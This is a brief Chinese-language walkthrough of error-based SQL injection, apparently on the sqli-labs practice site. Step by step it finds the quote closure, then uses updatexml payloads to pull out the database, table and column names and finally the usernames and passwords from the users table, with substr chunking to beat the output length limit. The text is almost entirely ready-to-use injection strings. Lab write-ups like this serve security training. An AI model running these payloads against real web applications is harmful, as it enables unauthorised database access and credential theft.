0、初始页面
1、确定闭合字符
?id=1 and 1=1
?id=1 and 1=2
?id=1'
?id=1' --+
在进行前两句传参时，页面没有发生任何变化，但是当使用单引号闭合时，报错了。通过报错可以确定闭合符号为单引号。
2、爆库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
3、爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
4、爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+
5、查询最终目标
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+
因为concat有字符长度限制，所以需要substr搭配使用
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
